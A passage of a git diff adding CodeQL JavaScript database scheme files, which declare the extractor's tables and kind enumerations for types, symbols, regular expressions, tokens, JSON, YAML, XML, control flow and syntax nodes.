+| 3 = @string_literal_typeexpr
+| 4 = @number_literal_typeexpr
+| 5 = @boolean_literal_typeexpr
+| 6 = @array_typeexpr
+| 7 = @union_typeexpr
+| 8 = @indexed_access_typeexpr
+| 9 = @intersection_typeexpr
+| 10 = @parenthesized_typeexpr
+| 11 = @tuple_typeexpr
+| 12 = @keyof_typeexpr
+| 13 = @qualified_type_access
+| 14 = @generic_typeexpr
+| 15 = @type_label
+| 16 = @typeof_typeexpr
+| 17 = @local_var_type_access
+| 18 = @qualified_var_type_access
+| 19 = @this_var_type_access
+| 20 = @predicate_typeexpr
+| 21 = @interface_typeexpr
+| 22 = @type_parameter
+| 23 = @plain_function_typeexpr
+| 24 = @constructor_typeexpr
+| 25 = @local_namespace_access
+| 26 = @qualified_namespace_access
+| 27 = @mapped_typeexpr
+| 28 = @conditional_typeexpr
+| 29 = @infer_typeexpr
+| 30 = @import_type_access
+| 31 = @import_namespace_access
+| 32 = @import_var_type_access
+| 33 = @optional_typeexpr
+| 34 = @rest_typeexpr
+| 35 = @bigint_literal_typeexpr
+| 36 = @readonly_typeexpr
+| 37 = @template_literal_typeexpr
+;
+
+@typeref = @typeaccess | @type_decl;
+@type_identifier = @type_decl | @local_type_access | @type_label | @local_var_type_access | @local_namespace_access;
+@typeexpr_parent = @expr | @stmt | @property | @typeexpr;
+@literal_typeexpr = @string_literal_typeexpr | @number_literal_typeexpr | @boolean_literal_typeexpr | @bigint_literal_typeexpr;
+@typeaccess = @local_type_access | @qualified_type_access | @import_type_access;
+@vartypeaccess = @local_var_type_access | @qualified_var_type_access | @this_var_type_access | @import_var_type_access;
+@namespace_access = @local_namespace_access | @qualified_namespace_access | @import_namespace_access;
+@import_typeexpr = @import_type_access | @import_namespace_access | @import_var_type_access;
+
+@function_typeexpr = @plain_function_typeexpr | @constructor_typeexpr;
+
+// types
+types (
+  unique int id: @type,
+  int kind: int ref,
+  varchar(900) tostring: string ref
+);
+
+#keyset[parent, idx]
+type_child (
+  int child: @type ref,
+  int parent: @type ref,
+  int idx: int ref
+);
+
+case @type.kind of
+  0 = @any_type
+| 1 = @string_type
+| 2 = @number_type
+| 3 = @union_type
+| 4 = @true_type
+| 5 = @false_type
+| 6 = @type_reference
+| 7 = @object_type
+| 8 = @canonical_type_variable_type
+| 9 = @typeof_type
+| 10 = @void_type
+| 11 = @undefined_type
+| 12 = @null_type
+| 13 = @never_type
+| 14 = @plain_symbol_type
+| 15 = @unique_symbol_type
+| 16 = @objectkeyword_type
+| 17 = @intersection_type
+| 18 = @tuple_type
+| 19 = @lexical_type_variable_type
+| 20 = @this_type
+| 21 = @number_literal_type
+| 22 = @string_literal_type
+| 23 = @unknown_type
+| 24 = @bigint_type
+| 25 = @bigint_literal_type
+;
+
+@boolean_literal_type = @true_type | @false_type;
+@symbol_type = @plain_symbol_type | @unique_symbol_type;
+@union_or_intersection_type = @union_type | @intersection_type;
+@typevariable_type = @canonical_type_variable_type | @lexical_type_variable_type;
+
+has_asserts_keyword(int node: @predicate_typeexpr ref);
+
+@typed_ast_node = @expr | @typeexpr | @function;
+ast_node_type(
+  unique int node: @typed_ast_node ref,
+  int typ: @type ref);
+
+declared_function_signature(
+  unique int node: @function ref,
+  int sig: @signature_type ref
+);
+
+invoke_expr_signature(
+  unique int node: @invokeexpr ref,
+  int sig: @signature_type ref
+);
+
+invoke_expr_overload_index(
+  unique int node: @invokeexpr ref,
+  int index: int ref
+);
+
+symbols (
+  unique int id: @symbol,
+  int kind: int ref,
+  varchar(900) name: string ref
+);
+
+symbol_parent (
+  unique int symbol: @symbol ref,
+  int parent: @symbol ref
+);
+
+symbol_module (
+  int symbol: @symbol ref,
+  varchar(900) moduleName: string ref
+);
+
+symbol_global (
+  int symbol: @symbol ref,
+  varchar(900) globalName: string ref
+);
+
+case @symbol.kind of
+  0 = @root_symbol
+| 1 = @member_symbol
+| 2 = @other_symbol
+;
+
+@type_with_symbol = @type_reference | @typevariable_type | @typeof_type | @unique_symbol_type;
+@ast_node_with_symbol = @type_definition | @namespace_definition | @toplevel | @typeaccess | @namespace_access | @var_decl | @function | @invokeexpr | @import_declaration | @external_module_reference | @external_module_declaration;
+
+ast_node_symbol(
+  unique int node: @ast_node_with_symbol ref,
+  int symbol: @symbol ref);
+
+type_symbol(
+  unique int typ: @type_with_symbol ref,
+  int symbol: @symbol ref);
+
+#keyset[typ, name]
+type_property(
+  int typ: @type ref,
+  varchar(900) name: string ref,
+  int propertyType: @type ref);
+
+type_alias(
+  unique int aliasType: @type ref,
+  int underlyingType: @type ref);
+
+@literal_type = @string_literal_type | @number_literal_type | @boolean_literal_type | @bigint_literal_type;
+@type_with_literal_value = @string_literal_type | @number_literal_type | @bigint_literal_type;
+type_literal_value(
+  unique int typ: @type_with_literal_value ref,
+  varchar(900) value: string ref);
+
+signature_types (
+  unique int id: @signature_type,
+  int kind: int ref,
+  varchar(900) tostring: string ref,
+  int type_parameters: int ref,
+  int required_params: int ref
+);
+
+is_abstract_signature(
+  unique int sig: @signature_type ref
+);
+
+signature_rest_parameter(
+  unique int sig: @signature_type ref,
+  int rest_param_arra_type: @type ref
+);
+
+case @signature_type.kind of
+  0 = @function_signature_type
+| 1 = @constructor_signature_type
+;
+
+#keyset[typ, kind, index]
+type_contains_signature (
+  int typ: @type ref,
+  int kind: int ref,  // constructor/call/index
+  int index: int ref, // ordering of overloaded signatures
+  int sig: @signature_type ref
+);
+
+#keyset[parent, index]
+signature_contains_type (
+  int child: @type ref,
+  int parent: @signature_type ref,
+  int index: int ref
+);
+
+#keyset[sig, index]
+signature_parameter_name (
+  int sig: @signature_type ref,
+  int index: int ref,
+  varchar(900) name: string ref
+);
+
+number_index_type (
+  unique int baseType: @type ref,
+  int propertyType: @type ref
+);
+
+string_index_type (
+  unique int baseType: @type ref,
+  int propertyType: @type ref
+);
+
+base_type_names(
+  int typeName: @symbol ref,
+  int baseTypeName: @symbol ref
+);
+
+self_types(
+  int typeName: @symbol ref,
+  int selfType: @type_reference ref
+);
+
+tuple_type_min_length(
+  unique int typ: @type ref,
+  int minLength: int ref
+);
+
+tuple_type_rest_index(
+  unique int typ: @type ref,
+  int index: int ref
+);
+
+// comments
+comments (unique int id: @comment,
+          int kind: int ref,
+          int toplevel: @toplevel ref,
+          varchar(900) text: string ref,
+          varchar(900) tostring: string ref);
+
+case @comment.kind of
+  0 = @slashslash_comment
+| 1 = @slashstar_comment
+| 2 = @doc_comment
+| 3 = @html_comment_start
+| 4 = @htmlcommentend;
+
+@html_comment = @html_comment_start | @htmlcommentend;
+@line_comment = @slashslash_comment | @html_comment;
+@block_comment = @slashstar_comment | @doc_comment;
+
+// source lines
+lines (unique int id: @line,
+       int toplevel: @toplevel ref,
+       varchar(900) text: string ref,
+       varchar(2) terminator: string ref);
+indentation (int file: @file ref,
+            int lineno: int ref,
+            varchar(1) indentChar: string ref,
+            int indentDepth: int ref);
+
+// JavaScript parse errors
+js_parse_errors (unique int id: @js_parse_error,
+        int toplevel: @toplevel ref,
+        varchar(900) message: string ref,
+        varchar(900) line: string ref);
+
+// regular expressions
+#keyset[parent, idx]
+regexpterm (unique int id: @regexpterm,
+        int kind: int ref,
+        int parent: @regexpparent ref,
+        int idx: int ref,
+        varchar(900) tostring: string ref);
+
+@regexpparent = @regexpterm | @regexp_literal | @string_literal | @add_expr;
+
+case @regexpterm.kind of
+   0 = @regexp_alt
+|  1 = @regexp_seq
+|  2 = @regexp_caret
+|  3 = @regexp_dollar
+|  4 = @regexp_wordboundary
+|  5 = @regexp_nonwordboundary
+|  6 = @regexp_positive_lookahead
+|  7 = @regexp_negative_lookahead
+|  8 = @regexp_star
+|  9 = @regexp_plus
+| 10 = @regexp_opt
+| 11 = @regexp_range
+| 12 = @regexp_dot
+| 13 = @regexp_group
+| 14 = @regexp_normal_constant
+| 15 = @regexp_hex_escape
+| 16 = @regexp_unicode_escape
+| 17 = @regexp_dec_escape
+| 18 = @regexp_oct_escape
+| 19 = @regexp_ctrl_escape
+| 20 = @regexp_char_class_escape
+| 21 = @regexp_id_escape
+| 22 = @regexp_backref
+| 23 = @regexp_char_class
+| 24 = @regexp_char_range
+| 25 = @regexp_positive_lookbehind
+| 26 = @regexp_negative_lookbehind
+| 27 = @regexp_unicode_property_escape
+| 28 = @regexp_quoted_string
+| 29 = @regexp_intersection
+| 30 = @regexp_subtraction;
+
+regexp_parse_errors (unique int id: @regexp_parse_error,
+    int regexp: @regexpterm ref,
+    varchar(900) message: string ref);
+
+@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range;
+@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape;
+@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape;
+@regexp_constant = @regexp_normal_constant | @regexp_char_escape;
+@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead;
+@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind;
+@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind;
+@regexp_anchor = @regexp_dollar | @regexp_caret;
+
+is_greedy (int id: @regexp_quantifier ref);
+range_quantifier_lower_bound (unique int id: @regexp_range ref, int lo: int ref);
+range_quantifier_upper_bound (unique int id: @regexp_range ref, int hi: int ref);
+is_capture (unique int id: @regexp_group ref, int number: int ref);
+is_named_capture (unique int id: @regexp_group ref, string name: string ref);
+is_inverted (int id: @regexp_char_class ref);
+regexp_const_value (unique int id: @regexp_constant ref, varchar(1) value: string ref);
+char_class_escape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref);
+backref (unique int id: @regexp_backref ref, int value: int ref);
+named_backref (unique int id: @regexp_backref ref, string name: string ref);
+unicode_property_escapename (unique int id: @regexp_unicode_property_escape ref, string name: string ref);
+unicode_property_escapevalue (unique int id: @regexp_unicode_property_escape ref, string value: string ref);
+
+// tokens
+#keyset[toplevel, idx]
+tokeninfo (unique int id: @token,
+    int kind: int ref,
+    int toplevel: @toplevel ref,
+    int idx: int ref,
+    varchar(900) value: string ref);
+
+case @token.kind of
+  0 = @token_eof
+| 1 = @token_null_literal
+| 2 = @token_boolean_literal
+| 3 = @token_numeric_literal
+| 4 = @token_string_literal
+| 5 = @token_regular_expression
+| 6 = @token_identifier
+| 7 = @token_keyword
+| 8 = @token_punctuator;
+
+// associate comments with the token immediately following them (which may be EOF)
+next_token (int comment: @comment ref, int token: @token ref);
+
+// JSON
+#keyset[parent, idx]
+json (unique int id: @json_value,
+      int kind: int ref,
+      int parent: @json_parent ref,
+      int idx: int ref,
+      varchar(900) tostring: string ref);
+
+json_literals (varchar(900) value: string ref,
+      varchar(900) raw: string ref,
+      unique int expr: @json_value ref);
+
+json_properties (int obj: @json_object ref,
+      varchar(900) property: string ref,
+      int value: @json_value ref);
+
+json_errors (unique int id: @json_parse_error,
+      varchar(900) message: string ref);
+
+json_locations(unique int locatable: @json_locatable ref,
+      int location: @location_default ref);
+
+case @json_value.kind of
+  0 = @json_null
+| 1 = @json_boolean
+| 2 = @json_number
+| 3 = @json_string
+| 4 = @json_array
+| 5 = @json_object;
+
+@json_parent = @json_object | @json_array | @file;
+
+@json_locatable = @json_value | @json_parse_error;
+
+// locations
+@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr;
+
+@locatable = @file
+    | @ast_node
+    | @comment
+    | @line
+    | @js_parse_error | @regexp_parse_error
+    | @regexpterm
+    | @json_locatable
+    | @token
+    | @cfg_node
+    | @jsdoc | @jsdoc_type_expr | @jsdoc_tag
+    | @yaml_locatable
+    | @xmllocatable
+    | @configLocatable
+    | @template_placeholder_tag;
+
+hasLocation (unique int locatable: @locatable ref,
+    int location: @location ref);
+
+// CFG
+entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref);
+exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref);
+guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref);
+case @guard_node.kind of
+  0 = @falsy_guard
+| 1 = @truthy_guard;
+@condition_guard = @falsy_guard | @truthy_guard;
+
+@synthetic_cfg_node = @entry_node | @exit_node | @guard_node;
+@cfg_node = @synthetic_cfg_node | @expr_parent;
+
+successor (int pred: @cfg_node ref, int succ: @cfg_node ref);
+
+// JSDoc comments
+jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref);
+#keyset[parent, idx]
+jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref,
+            int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref);
+jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref);
+jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref);
+
+#keyset[parent, idx]
+jsdoc_type_exprs (unique int id: @jsdoc_type_expr,
+                  int kind: int ref,
+                  int parent: @jsdoc_type_expr_parent ref,
+                  int idx: int ref,
+                  varchar(900) tostring: string ref);
+case @jsdoc_type_expr.kind of
+    0 = @jsdoc_any_type_expr
+|   1 = @jsdoc_null_type_expr
+|   2 = @jsdoc_undefined_type_expr
+|   3 = @jsdoc_unknown_type_expr
+|   4 = @jsdoc_void_type_expr
+|   5 = @jsdoc_identifier_type_expr
+|   6 = @jsdoc_applied_type_expr
+|   7 = @jsdoc_nullable_type_expr
+|   8 = @jsdoc_non_nullable_type_expr
+|   9 = @jsdoc_record_type_expr
+|  10 = @jsdoc_array_type_expr
+|  11 = @jsdoc_union_type_expr
+|  12 = @jsdoc_function_type_expr
+|  13 = @jsdoc_optional_type_expr
+|  14 = @jsdoc_rest_type_expr
+|  15 = @jsdoc_qualified_type_expr
+;
+
+#keyset[id, idx]
+jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref);
+jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref);
+jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref);
+
+@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag;
+
+jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref);
+
+@dataflownode = @expr | @function_decl_stmt | @class_decl_stmt | @namespace_declaration | @enum_declaration | @property;
+
+@optionalchainable = @call_expr | @propaccess;
+
+isOptionalChaining(int id: @optionalchainable ref);
+
+/**
+ * The time taken for the extraction of a file.
+ * This table contains non-deterministic content.
+ *
+ * The sum of the `time` column for each (`file`, `timerKind`) pair
+ * is the total time taken for extraction of `file`.  The `extractionPhase`
+ * column provides a granular view of the extraction time of the file.
+ */
+extraction_time(
+  int file : @file ref,
+  // see `com.semmle.js.extractor.ExtractionMetrics.ExtractionPhase`.
+  int extractionPhase: int ref,
+  // 0 for the elapsed CPU time in nanoseconds, 1 for the elapsed wallclock time in nanoseconds
+  int timerKind: int ref,
+  float time: float ref
+)
+
+/**
+* Non-timing related data for the extraction of a single file.
+* This table contains non-deterministic content.
+*/
+extraction_data(
+  int file : @file ref,
+  // the absolute path to the cache file
+  varchar(900) cacheFile: string ref,
+  boolean fromCache: boolean ref,
+  int length: int ref
+)
+
+/*- YAML -*/
+
+#keyset[parent, idx]
+yaml (unique int id: @yaml_node,
+      int kind: int ref,
+      int parent: @yaml_node_parent ref,
+      int idx: int ref,
+      string tag: string ref,
+      string tostring: string ref);
+
+case @yaml_node.kind of
+  0 = @yaml_scalar_node
+| 1 = @yaml_mapping_node
+| 2 = @yaml_sequence_node
+| 3 = @yaml_alias_node
+;
+
+@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node;
+
+@yaml_node_parent = @yaml_collection_node | @file;
+
+yaml_anchors (unique int node: @yaml_node ref,
+              string anchor: string ref);
+
+yaml_aliases (unique int alias: @yaml_alias_node ref,
+              string target: string ref);
+
+yaml_scalars (unique int scalar: @yaml_scalar_node ref,
+              int style: int ref,
+              string value: string ref);
+
+yaml_errors (unique int id: @yaml_error,
+             string message: string ref);
+
+yaml_locations(unique int locatable: @yaml_locatable ref,
+             int location: @location_default ref);
+
+@yaml_locatable = @yaml_node | @yaml_error;
+
+/*- XML Files -*/
+
+xmlEncoding(
+  unique int id: @file ref,
+  string encoding: string ref
+);
+
+xmlDTDs(
+  unique int id: @xmldtd,
+  string root: string ref,
+  string publicId: string ref,
+  string systemId: string ref,
+  int fileid: @file ref
+);
+
+xmlElements(
+  unique int id: @xmlelement,
+  string name: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlAttrs(
+  unique int id: @xmlattribute,
+  int elementid: @xmlelement ref,
+  string name: string ref,
+  string value: string ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlNs(
+  int id: @xmlnamespace,
+  string prefixName: string ref,
+  string URI: string ref,
+  int fileid: @file ref
+);
+
+xmlHasNs(
+  int elementId: @xmlnamespaceable ref,
+  int nsId: @xmlnamespace ref,
+  int fileid: @file ref
+);
+
+xmlComments(
+  unique int id: @xmlcomment,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int fileid: @file ref
+);
+
+xmlChars(
+  unique int id: @xmlcharacters,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int isCDATA: int ref,
+  int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+  int xmlElement: @xmllocatable ref,
+  int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace;
+
+/*- Configuration files with key value pairs -*/
+
+configs(
+  unique int id: @config
+);
+
+configNames(
+  unique int id: @configName,
+  int config: @config ref,
+  string name: string ref
+);
+
+configValues(
+  unique int id: @configValue,
+  int config: @config ref,
+  string value: string ref
+);
+
+configLocations(
+  int locatable: @configLocatable ref,
+  int location: @location_default ref
+);
+
+@configLocatable = @config | @configName | @configValue;
diff --git a/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/semmlecode.javascript.dbscheme b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/semmlecode.javascript.dbscheme
new file mode 100644
index 000000000000..5b5db607d20c
--- /dev/null
+++ b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/semmlecode.javascript.dbscheme
@@ -0,0 +1,1193 @@
+/*** Standard fragments ***/
+
+/*- Files and folders -*/
+
+/**
+ * The location of an element.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+  unique int id: @location_default,
+  int file: @file ref,
+  int beginLine: int ref,
+  int beginColumn: int ref,
+  int endLine: int ref,
+  int endColumn: int ref
+);
+
+files(
+  unique int id: @file,
+  string name: string ref
+);
+
+folders(
+  unique int id: @folder,
+  string name: string ref
+);
+
+@container = @file | @folder
+
+containerparent(
+  int parent: @container ref,
+  unique int child: @container ref
+);
+
+/*- Lines of code -*/
+
+numlines(
+  int element_id: @sourceline ref,
+  int num_lines: int ref,
+  int num_code: int ref,
+  int num_comment: int ref
+);
+
+/*- External data -*/
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+  int id : @externalDataElement,
+  string path : string ref,
+  int column: int ref,
+  string value : string ref
+);
+
+/*- Source location prefix -*/
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/*- JavaScript-specific part -*/
+
+@location = @location_default
+
+@sourceline = @locatable;
+
+filetype(
+  int file: @file ref,
+  string filetype: string ref
+)
+
+// top-level code fragments
+toplevels (unique int id: @toplevel,
+           int kind: int ref);
+
+is_externs (int toplevel: @toplevel ref);
+
+case @toplevel.kind of
+   0 = @script
+|  1 = @inline_script
+|  2 = @event_handler
+|  3 = @javascript_url
+|  4 = @template_toplevel;
+
+is_module (int tl: @toplevel ref);
+is_nodejs (int tl: @toplevel ref);
+is_es2015_module (int tl: @toplevel ref);
+is_closure_module (int tl: @toplevel ref);
+
+@xml_node_with_code = @xmlelement | @xmlattribute | @template_placeholder_tag;
+toplevel_parent_xml_node(
+  unique int toplevel: @toplevel ref,
+  int xmlnode: @xml_node_with_code ref);
+
+xml_element_parent_expression(
+  unique int xmlnode: @xmlelement ref,
+  int expression: @expr ref,
+  int index: int ref);
+
+// statements
+#keyset[parent, idx]
+stmts (unique int id: @stmt,
+       int kind: int ref,
+       int parent: @stmt_parent ref,
+       int idx: int ref,
+       varchar(900) tostring: string ref);
+
+stmt_containers (unique int stmt: @stmt ref,
+       int container: @stmt_container ref);
+
+jump_targets (unique int jump: @stmt ref,
+       int target: @stmt ref);
+
+@stmt_parent = @stmt | @toplevel | @function_expr | @arrow_function_expr | @static_initializer;
+@stmt_container = @toplevel | @function | @namespace_declaration | @external_module_declaration | @global_augmentation_declaration;
+
+case @stmt.kind of
+   0 = @empty_stmt
+|  1 = @block_stmt
+|  2 = @expr_stmt
+|  3 = @if_stmt
+|  4 = @labeled_stmt
+|  5 = @break_stmt
+|  6 = @continue_stmt
+|  7 = @with_stmt
+|  8 = @switch_stmt
+|  9 = @return_stmt
+| 10 = @throw_stmt
+| 11 = @try_stmt
+| 12 = @while_stmt
+| 13 = @do_while_stmt
+| 14 = @for_stmt
+| 15 = @for_in_stmt
+| 16 = @debugger_stmt
+| 17 = @function_decl_stmt
+| 18 = @var_decl_stmt
+| 19 = @case
+| 20 = @catch_clause
+| 21 = @for_of_stmt
+| 22 = @const_decl_stmt
+| 23 = @let_stmt
+| 24 = @legacy_let_stmt
+| 25 = @for_each_stmt
+| 26 = @class_decl_stmt
+| 27 = @import_declaration
+| 28 = @export_all_declaration
+| 29 = @export_default_declaration
+| 30 = @export_named_declaration
+| 31 = @namespace_declaration
+| 32 = @import_equals_declaration
+| 33 = @export_assign_declaration
+| 34 = @interface_declaration
+| 35 = @type_alias_declaration
+| 36 = @enum_declaration
+| 37 = @external_module_declaration
+| 38 = @export_as_namespace_declaration
+| 39 = @global_augmentation_declaration
+| 40 = @using_decl_stmt
+;
+
+@decl_stmt = @var_decl_stmt | @const_decl_stmt | @let_stmt | @legacy_let_stmt | @using_decl_stmt;
+
+@export_declaration = @export_all_declaration | @export_default_declaration | @export_named_declaration;
+
+@namespace_definition = @namespace_declaration | @enum_declaration;
+@type_definition = @class_definition | @interface_declaration | @enum_declaration | @type_alias_declaration | @enum_member;
+
+is_instantiated(unique int decl: @namespace_declaration ref);
+
+@declarable_node = @decl_stmt | @namespace_declaration | @class_decl_stmt | @function_decl_stmt | @enum_declaration | @external_module_declaration | @global_augmentation_declaration | @field;
+has_declare_keyword(unique int stmt: @declarable_node ref);
+
+is_for_await_of(unique int forof: @for_of_stmt ref);
+
+// expressions
+#keyset[parent, idx]
+exprs (unique int id: @expr,
+       int kind: int ref,
+       int parent: @expr_parent ref,
+       int idx: int ref,
+       varchar(900) tostring: string ref);
+
+literals (varchar(900) value: string ref,
+       varchar(900) raw: string ref,
+       unique int expr: @expr_or_type ref);
+
+enclosing_stmt (unique int expr: @expr_or_type ref,
+       int stmt: @stmt ref);
+
+expr_containers (unique int expr: @expr_or_type ref,
+       int container: @stmt_container ref);
+
+array_size (unique int ae: @arraylike ref,
+       int sz: int ref);
+
+is_delegating (int yield: @yield_expr ref);
+
+@expr_or_stmt = @expr | @stmt;
+@expr_or_type = @expr | @typeexpr;
+@expr_parent = @expr_or_stmt | @property | @function_typeexpr;
+@arraylike = @array_expr | @array_pattern;
+@type_annotation = @typeexpr | @jsdoc_type_expr;
+@node_in_stmt_container = @cfg_node | @type_annotation | @toplevel;
+
+case @expr.kind of
+   0 = @label
+|  1 = @null_literal
+|  2 = @boolean_literal
+|  3 = @number_literal
+|  4 = @string_literal
+|  5 = @regexp_literal
+|  6 = @this_expr
+|  7 = @array_expr
+|  8 = @obj_expr
+|  9 = @function_expr
+| 10 = @seq_expr
+| 11 = @conditional_expr
+| 12 = @new_expr
+| 13 = @call_expr
+| 14 = @dot_expr
+| 15 = @index_expr
+| 16 = @neg_expr
+| 17 = @plus_expr
+| 18 = @log_not_expr
+| 19 = @bit_not_expr
+| 20 = @typeof_expr
+| 21 = @void_expr
+| 22 = @delete_expr
+| 23 = @eq_expr
+| 24 = @neq_expr
+| 25 = @eqq_expr
+| 26 = @neqq_expr
+| 27 = @lt_expr
+| 28 = @le_expr
+| 29 = @gt_expr
+| 30 = @ge_expr
+| 31 = @lshift_expr
+| 32 = @rshift_expr
+| 33 = @urshift_expr
+| 34 = @add_expr
+| 35 = @sub_expr
+| 36 = @mul_expr
+| 37 = @div_expr
+| 38 = @mod_expr
+| 39 = @bitor_expr
+| 40 = @xor_expr
+| 41 = @bitand_expr
+| 42 = @in_expr
+| 43 = @instanceof_expr
+| 44 = @logand_expr
+| 45 = @logor_expr
+| 47 = @assign_expr
+| 48 = @assign_add_expr
+| 49 = @assign_sub_expr
+| 50 = @assign_mul_expr
+| 51 = @assign_div_expr
+| 52 = @assign_mod_expr
+| 53 = @assign_lshift_expr
+| 54 = @assign_rshift_expr
+| 55 = @assign_urshift_expr
+| 56 = @assign_or_expr
+| 57 = @assign_xor_expr
+| 58 = @assign_and_expr
+| 59 = @preinc_expr
+| 60 = @postinc_expr
+| 61 = @predec_expr
+| 62 = @postdec_expr
+| 63 = @par_expr
+| 64 = @var_declarator
+| 65 = @arrow_function_expr
+| 66 = @spread_element
+| 67 = @array_pattern
+| 68 = @object_pattern
+| 69 = @yield_expr
+| 70 = @tagged_template_expr
+| 71 = @template_literal
+| 72 = @template_element
+| 73 = @array_comprehension_expr
+| 74 = @generator_expr
+| 75 = @for_in_comprehension_block
+| 76 = @for_of_comprehension_block
+| 77 = @legacy_letexpr
+| 78 = @var_decl
+| 79 = @proper_varaccess
+| 80 = @class_expr
+| 81 = @super_expr
+| 82 = @newtarget_expr
+| 83 = @named_import_specifier
+| 84 = @import_default_specifier
+| 85 = @import_namespace_specifier
+| 86 = @named_export_specifier
+| 87 = @exp_expr
+| 88 = @assign_exp_expr
+| 89 = @jsx_element
+| 90 = @jsx_qualified_name
+| 91 = @jsx_empty_expr
+| 92 = @await_expr
+| 93 = @function_sent_expr
+| 94 = @decorator
+| 95 = @export_default_specifier
+| 96 = @export_namespace_specifier
+| 97 = @bind_expr
+| 98 = @external_module_reference
+| 99 = @dynamic_import
+| 100 = @expression_with_type_arguments
+| 101 = @prefix_type_assertion
+| 102 = @as_type_assertion
+| 103 = @export_varaccess
+| 104 = @decorator_list
+| 105 = @non_null_assertion
+| 106 = @bigint_literal
+| 107 = @nullishcoalescing_expr
+| 108 = @e4x_xml_anyname
+| 109 = @e4x_xml_static_attribute_selector
+| 110 = @e4x_xml_dynamic_attribute_selector
+| 111 = @e4x_xml_filter_expression
+| 112 = @e4x_xml_static_qualident
+| 113 = @e4x_xml_dynamic_qualident
+| 114 = @e4x_xml_dotdotexpr
+| 115 = @import_meta_expr
+| 116 = @assignlogandexpr
+| 117 = @assignlogorexpr
+| 118 = @assignnullishcoalescingexpr
+| 119 = @template_pipe_ref
+| 120 = @generated_code_expr
+| 121 = @satisfies_expr
+;
+
+@varaccess = @proper_varaccess | @export_varaccess;
+@varref = @var_decl | @varaccess;
+
+@identifier = @label | @varref | @type_identifier;
+
+@literal = @null_literal | @boolean_literal | @number_literal | @string_literal | @regexp_literal | @bigint_literal;
+
+@propaccess = @dot_expr | @index_expr;
+
+@invokeexpr = @new_expr | @call_expr;
+
+@unaryexpr = @neg_expr | @plus_expr | @log_not_expr | @bit_not_expr | @typeof_expr | @void_expr | @delete_expr | @spread_element;
+
+@equality_test = @eq_expr | @neq_expr | @eqq_expr | @neqq_expr;
+
+@comparison = @equality_test | @lt_expr | @le_expr | @gt_expr | @ge_expr;
+
+@binaryexpr = @comparison | @lshift_expr | @rshift_expr | @urshift_expr | @add_expr | @sub_expr | @mul_expr | @div_expr | @mod_expr | @exp_expr | @bitor_expr | @xor_expr | @bitand_expr | @in_expr | @instanceof_expr | @logand_expr | @logor_expr | @nullishcoalescing_expr;
+
+@assignment = @assign_expr | @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr | @assign_mod_expr | @assign_exp_expr | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr | @assign_or_expr | @assign_xor_expr | @assign_and_expr | @assignlogandexpr | @assignlogorexpr | @assignnullishcoalescingexpr;
+
+@updateexpr = @preinc_expr | @postinc_expr | @predec_expr | @postdec_expr;
+
+@pattern = @varref | @array_pattern | @object_pattern;
+
+@comprehension_expr = @array_comprehension_expr | @generator_expr;
+
+@comprehension_block = @for_in_comprehension_block | @for_of_comprehension_block;
+
+@import_specifier = @named_import_specifier | @import_default_specifier | @import_namespace_specifier;
+
+@exportspecifier = @named_export_specifier | @export_default_specifier | @export_namespace_specifier;
+
+@type_keyword_operand = @import_declaration | @export_declaration | @import_specifier;
+
+@type_assertion = @as_type_assertion | @prefix_type_assertion;
+
+@class_definition = @class_decl_stmt | @class_expr;
+@interface_definition = @interface_declaration | @interface_typeexpr;
+@class_or_interface = @class_definition | @interface_definition;
+
+@lexical_decl = @var_decl | @type_decl;
+@lexical_access = @varaccess | @local_type_access | @local_var_type_access | @local_namespace_access;
+@lexical_ref = @lexical_decl | @lexical_access;
+
+@e4x_xml_attribute_selector = @e4x_xml_static_attribute_selector | @e4x_xml_dynamic_attribute_selector;
